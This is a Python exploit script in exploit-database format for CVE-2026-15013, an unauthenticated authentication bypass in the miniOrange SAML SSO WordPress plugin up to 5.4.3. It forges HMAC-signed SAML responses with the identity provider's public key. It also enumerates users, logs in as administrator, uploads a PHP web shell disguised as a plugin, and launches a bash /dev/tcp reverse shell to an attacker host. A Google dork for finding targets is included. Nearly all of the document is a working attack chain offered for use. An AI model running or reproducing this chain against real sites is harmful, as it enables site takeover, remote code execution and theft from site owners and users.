# Exploit Title: miniOrange 5.4.3 - Unauthenticated Auth Bypass # Google Dork: inurl:/wp-content/plugins/miniorange-saml-20-single-sign-on/ # Date: 2026-07-27 # Exploit Author: zer0dayf # Vendor Homepage: https://plugins.wordpress.org/miniorange-saml-20-single-sign-on/ # Software Link: https://downloads.wordpress.org/plugin/miniorange-saml-20-single-sign-on.5.4.3.zip # Version: <= 5.4.3 # Tested on: WordPress 7.x + miniOrange SAML SSO 5.4.3 # CVE : CVE-2026-15013 """ CVE-2026-15013 — miniOrange SAML SSO <= 5.4.3 HMAC signature algorithm confusion Lab / authorized testing only. Flow: detect → enum users → fetch IdP cert → HMAC SAML → admin → shell → optional reverse """ from __future__ import annotations import argparse import base64 import hashlib import hmac import io import os import re import subprocess import sys import tempfile import uuid import zipfile from datetime import datetime, timedelta, timezone from pathlib import Path from urllib.parse import urlparse import requests from lxml import etree requests.packages.urllib3.disable_warnings() NS_SAMLP = "urn:oasis:names:tc:SAML:2.0:protocol" NS_SAML = "urn:oasis:names:tc:SAML:2.0:assertion" NS_DS = "http://www.w3.org/2000/09/xmldsig#" C14N = "http://www.w3.org/2001/10/xml-exc-c14n#" ENVSIG = "http://www.w3.org/2000/09/xmldsig#enveloped-signature" HMAC_URI = "http://www.w3.org/2000/09/xmldsig#hmac-sha1" SHA1_URI = "http://www.w3.org/2000/09/xmldsig#sha1" PLUGIN_PATH = "/wp-content/plugins/miniorange-saml-20-single-sign-on/" VULN_MAX = (5, 4, 3) SHELL_PHP = r""">> " . $c . "\n\n"; if (function_exists("shell_exec")) { echo shell_exec($c . " 2>&1"); } else { echo "no shell_exec\n"; } """ def norm(url: str) -> str: url = url.strip().rstrip("/") if not url.startswith(("http://", "https://")): url = "http://" + url return url def ver_tuple(s: str): try: return tuple(int(x) for x in s.split(".")[:3]) except Exception: return (0, 0, 0) def now_iso(m=0): return (datetime.now(timezone.utc) + timedelta(minutes=m)).strftime("%Y-%m-%dT%H:%M:%SZ") def session(): s = requests.Session() s.verify = False s.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" return s def is_wp(s, base): for p in ("/wp-login.php", "/wp-json/", "/wp-includes/js/jquery/jquery.min.js"): try: if s.get(base + p, timeout=10).status_code == 200: return True except Exception: pass return False def detect_plugin(s, base): try: r = s.get(base + PLUGIN_PATH + "readme.txt", timeout=10) if r.status_code == 200: m = re.search(r"Stable tag:\s*(\S+)", r.text) if m: return m.group(1) except Exception: pass return None def discover_sp(s, base): acs, eid, issuer = base + "/", base + PLUGIN_PATH, "" try: r = s.get(base + "/?option=mosaml_metadata", timeout=12) if r.status_code == 200 and "EntityDescriptor" in r.text: m = re.search(r'entityID="([^"]+)"', r.text) if m: eid = m.group(1) m = re.search(r'Location="([^"]+)"', r.text) if m: acs = m.group(1) except Exception: pass try: r = s.get(base + "/?option=saml_user_login", timeout=12, allow_redirects=False) if r.status_code in (301, 302, 303, 307): loc = r.headers.get("Location", "") pu = urlparse(loc) if pu.scheme and pu.netloc: issuer = f"{pu.scheme}://{pu.netloc}" parts = [x for x in pu.path.split("/") if x] if "realms" in parts: i = parts.index("realms") if i + 1 < len(parts): issuer = f"{pu.scheme}://{pu.netloc}/realms/{parts[i + 1]}" except Exception: pass return acs, eid, issuer def enum_users(s, base): found, seen = [], set() def add(u): if not u: return u = str(u).strip().split("/")[-1] if not u or u in seen: return if not re.match(r"^[\w.@+-]{1,60}$", u): return seen.add(u) found.append(u) for ep in (f"{base}/wp-json/wp/v2/users", f"{base}/?rest_route=/wp/v2/users"): try: r = s.get(ep, params={"per_page": 100}, timeout=12) if r.status_code == 200 and isinstance(r.json(), list): for u in r.json(): add(u.get("slug")) add(u.get("name")) add(u.get("username")) except Exception: pass for uid in range(1, 30): for ep in ( f"{base}/wp-json/wp/v2/users/{uid}", f"{base}/?rest_route=/wp/v2/users/{uid}", ): try: r = s.get(ep, timeout=8) if r.status_code == 200: j = r.json() add(j.get("slug")) add(j.get("name")) add(j.get("username")) break except Exception: continue for q in list("abcdefghijklmnopqrstuvwxyz0123456789") + ["admin", "user", "test"]: try: r = s.get( f"{base}/wp-json/wp/v2/users", params={"search": q, "per_page": 100}, timeout=8, ) if r.status_code == 200 and isinstance(r.json(), list): for u in r.json(): add(u.get("slug")) add(u.get("name")) except Exception: pass for uid in range(1, 40): try: r = s.get(f"{base}/?author={uid}", timeout=8, allow_redirects=False) m = re.search(r"/author/([^/?&#]+)", r.headers.get("Location", "")) if m: add(m.group(1)) r2 = s.get(f"{base}/?author={uid}", timeout=8, allow_redirects=True) if r2.status_code == 200: for m in re.finditer(r"/author/([a-zA-Z0-9._-]+)", r2.text[:12000]): add(m.group(1)) for m in re.finditer(r"author-([a-zA-Z0-9_-]+)", r2.text[:12000]): add(m.group(1)) except Exception: pass for path in ("/", "/feed/", "/comments/feed/"): try: r = s.get(base + path, timeout=10) if r.status_code == 200: for m in re.finditer(r"/author/([a-zA-Z0-9._-]+)", r.text[:40000]): add(m.group(1)) except Exception: pass for c in ("admin", "administrator", "root", "webmaster"): add(c) common = {"admin", "administrator", "root", "webmaster"} prio = [u for u in found if u.lower() in common] rest = [u for u in found if u.lower() not in common] out, seen2 = [], set() for u in prio + rest: if u not in seen2: seen2.add(u) out.append(u) return out def cert_b64_to_pubkey_pem(cert_b64: str) -> bytes: cert_b64 = re.sub(r"\s+", "", cert_b64) pem = "-----BEGIN CERTIFICATE-----\n" for i in range(0, len(cert_b64), 64): pem += cert_b64[i : i + 64] + "\n" pem += "-----END CERTIFICATE-----\n" fd, crt = tempfile.mkstemp(suffix=".crt") os.close(fd) try: with open(crt, "w") as f: f.write(pem) out = subprocess.check_output( ["openssl", "x509", "-in", crt, "-pubkey", "-noout"], stderr=subprocess.DEVNULL, ) finally: try: os.unlink(crt) except Exception: pass if b"BEGIN PUBLIC KEY" not in out: raise RuntimeError("openssl pubkey failed") return out def fetch_hmac_key_from_idp(s, issuer: str) -> bytes: issuer = issuer.rstrip("/") urls = [ issuer + "/protocol/saml/descriptor", issuer + "/descriptor", ] last = None for url in urls: try: r = s.get(url, timeout=12) if r.status_code != 200: continue certs = re.findall( r"<[^>]*X509Certificate[^>]*>([^<]+)]*X509Certificate>", r.text, flags=re.I, ) if not certs: continue return cert_b64_to_pubkey_pem(certs[0]) except Exception as e: last = e raise RuntimeError(f"IdP metadata cert not found ({last})") def resolve_hmac_key(s, issuer: str, key_path: str) -> bytes: if key_path: p = Path(key_path) if p.is_file() and p.stat().st_size > 0: data = p.read_bytes() if b"BEGIN PUBLIC KEY" in data or b"BEGIN RSA PUBLIC KEY" in data: print(f" from file {key_path}") return data if b"BEGIN CERTIFICATE" in data: print(f" from cert file {key_path}") lines = [ ln.strip() for ln in data.decode(errors="ignore").splitlines() if "BEGIN" not in ln and "END" not in ln ] return cert_b64_to_pubkey_pem("".join(lines)) print(f" from IdP metadata {issuer}") key = fetch_hmac_key_from_idp(s, issuer) try: Path("/tmp/php-pub.pem").write_bytes(key) print(" cached /tmp/php-pub.pem") except Exception: pass return key def forge_saml(issuer, acs, sp_entity, nameid, hmac_key: bytes) -> str: assert_id = "_" + uuid.uuid4().hex resp_id = "_" + uuid.uuid4().hex inst, nb, na = now_iso(), now_iso(-5), now_iso(60) S = NS_SAML a = etree.Element(f"{{{S}}}Assertion", nsmap={"saml": S}) a.set("ID", assert_id) a.set("IssueInstant", inst) a.set("Version", "2.0") etree.SubElement(a, f"{{{S}}}Issuer").text = issuer subj = etree.SubElement(a, f"{{{S}}}Subject") nid = etree.SubElement(subj, f"{{{S}}}NameID") nid.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified") nid.text = nameid sc = etree.SubElement(subj, f"{{{S}}}SubjectConfirmation") sc.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer") scd = etree.SubElement(sc, f"{{{S}}}SubjectConfirmationData") scd.set("NotOnOrAfter", na) scd.set("Recipient", acs) cond = etree.SubElement(a, f"{{{S}}}Conditions") cond.set("NotBefore", nb) cond.set("NotOnOrAfter", na) ar = etree.SubElement(cond, f"{{{S}}}AudienceRestriction") etree.SubElement(ar, f"{{{S}}}Audience").text = sp_entity ast = etree.SubElement(a, f"{{{S}}}AuthnStatement") ast.set("AuthnInstant", inst) ast.set("SessionIndex", assert_id) actx = etree.SubElement(ast, f"{{{S}}}AuthnContext") etree.SubElement(actx, f"{{{S}}}AuthnContextClassRef").text = ( "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport" ) dig = base64.b64encode( hashlib.sha1(etree.tostring(a, method="c14n", exclusive=True)).digest() ).decode() D = NS_DS si = etree.Element(f"{{{D}}}SignedInfo", nsmap={"ds": D}) etree.SubElement(si, f"{{{D}}}CanonicalizationMethod").set("Algorithm", C14N) etree.SubElement(si, f"{{{D}}}SignatureMethod").set("Algorithm", HMAC_URI) ref = etree.SubElement(si, f"{{{D}}}Reference") ref.set("URI", "#" + assert_id) tr = etree.SubElement(ref, f"{{{D}}}Transforms") etree.SubElement(tr, f"{{{D}}}Transform").set("Algorithm", ENVSIG) etree.SubElement(tr, f"{{{D}}}Transform").set("Algorithm", C14N) etree.SubElement(ref, f"{{{D}}}DigestMethod").set("Algorithm", SHA1_URI) etree.SubElement(ref, f"{{{D}}}DigestValue").text = dig sig_b64 = base64.b64encode( hmac.new( hmac_key, etree.tostring(si, method="c14n", exclusive=True), hashlib.sha1 ).digest() ).decode() sig = etree.Element(f"{{{D}}}Signature", nsmap={"ds": D}) sig.append(si) etree.SubElement(sig, f"{{{D}}}SignatureValue").text = sig_b64 a_str = etree.tostring(a, encoding="unicode") pos = a_str.find("") + len("") body = a_str[:pos] + etree.tostring(sig, encoding="unicode") + a_str[pos:] P = NS_SAMLP resp = ( f'' f"{issuer}" f'' f"{body}" ) return base64.b64encode(resp.encode()).decode() def try_login(base, acs, eid, issuer, nameid, hmac_key): s = session() b64 = forge_saml(issuer, acs, eid, nameid, hmac_key) s.post( acs, data={"SAMLResponse": b64, "RelayState": "/wp-admin/"}, timeout=20, allow_redirects=True, ) if not any("wordpress_logged_in" in c.name for c in s.cookies): return None, "no_cookie" r = s.get( base + "/wp-admin/plugin-install.php?tab=upload", timeout=15, allow_redirects=True, ) if r.status_code == 200 and "wp-login" not in r.url and "_wpnonce" in r.text: return s, "admin" r2 = s.get(base + "/wp-admin/", timeout=12, allow_redirects=True) if r2.status_code == 200 and "wp-login" not in r2.url: return s, "user" return s, "cookie_only" def mk_zip(): buf = io.BytesIO() with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z: z.writestr("exp/shell.php", SHELL_PHP) z.writestr("exp/readme.txt", "=== exp ===\nStable tag: 1.0\n") return buf.getvalue() def upload_shell(s, base): r = s.get(base + "/wp-admin/plugin-install.php?tab=upload", timeout=20) m = re.search(r'name="_wpnonce"\s+value="([^"]+)"', r.text) if not m: return None, "no_nonce" ur = s.post( base + "/wp-admin/update.php?action=upload-plugin", data={ "_wpnonce": m.group(1), "_wp_http_referer": "/wp-admin/plugin-install.php?tab=upload", "install-plugin-submit": "Install Now", }, files={"pluginzip": ("exp.zip", mk_zip(), "application/zip")}, timeout=30, allow_redirects=True, ) shell = base + "/wp-content/plugins/exp/shell.php" c = s.get(shell, timeout=12) if c.status_code == 200 and ("exp" in c.text or "Usage" in c.text): return shell, "ok" return shell, f"upload={ur.status_code} shell={c.status_code}" def reverse_shell(s, shell_url, lhost, lport): cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'" try: s.get(shell_url, params={"c": cmd}, timeout=5) except requests.exceptions.ReadTimeout: pass return True def main(): ap = argparse.ArgumentParser(description="CVE-2026-15013 lab PoC") ap.add_argument("-u", "--url", required=True, help="WordPress base URL (required)") ap.add_argument( "-k", "--hmac-key", default="", help="PEM pubkey/cert file; empty = fetch from IdP SAML metadata", ) ap.add_argument("--issuer", default="") ap.add_argument("--acs", default="") ap.add_argument("--nameid", default="") ap.add_argument("--lhost", default="") ap.add_argument("--lport", type=int, default=4444) ap.add_argument("--no-shell", action="store_true") ap.add_argument("--no-reverse", action="store_true") args = ap.parse_args() base = norm(args.url) s = session() print(f"[1] WordPress @ {base}") if not is_wp(s, base): sys.exit("[-] not WordPress") print(" OK") print("[2] Plugin") ver = detect_plugin(s, base) if not ver: sys.exit("[-] miniOrange SAML not found") print(f" version={ver}") if ver_tuple(ver) > VULN_MAX: sys.exit(f"[-] {ver} > 5.4.3 (HMAC path patched)") print("[3] SP / IdP") acs, eid, issuer = discover_sp(s, base) if args.acs: acs = args.acs if args.issuer: issuer = args.issuer if not issuer: sys.exit("[-] IdP issuer not found (SSO redirect). Pass --issuer https://idp/.../realms/xxx") print(f" ACS={acs}") print(f" Audience={eid}") print(f" Issuer={issuer}") print("[3b] HMAC key") try: hmac_key = resolve_hmac_key(s, issuer, args.hmac_key) except Exception as e: sys.exit(f"[-] HMAC key: {e}") print("[4] Users") users = [args.nameid] if args.nameid else enum_users(s, base) print(f" {users}") print("[5] HMAC SAML login") admin_sess = admin_user = None for nameid in users: sess, st = try_login(base, acs, eid, issuer, nameid, hmac_key) print(f" {nameid} → {st}") if st == "admin": admin_sess, admin_user = sess, nameid break if not admin_sess: sys.exit("[-] no admin session (need install_plugins user)") print(f"[+] ADMIN as {admin_user}") if args.no_shell: return print("[6] Shell") shell, st = upload_shell(admin_sess, base) print(f" {st} → {shell}") if st != "ok": sys.exit("[-] shell failed") print(admin_sess.get(shell, params={"c": "id"}, timeout=10).text) if args.no_reverse or not args.lhost: print("[*] reverse: nc -lvnp 4444 && re-run with --lhost IP") return print(f"[7] Reverse {args.lhost}:{args.lport}") reverse_shell(admin_sess, shell, args.lhost, args.lport) print(" payload sent") if __name__ == "__main__": main()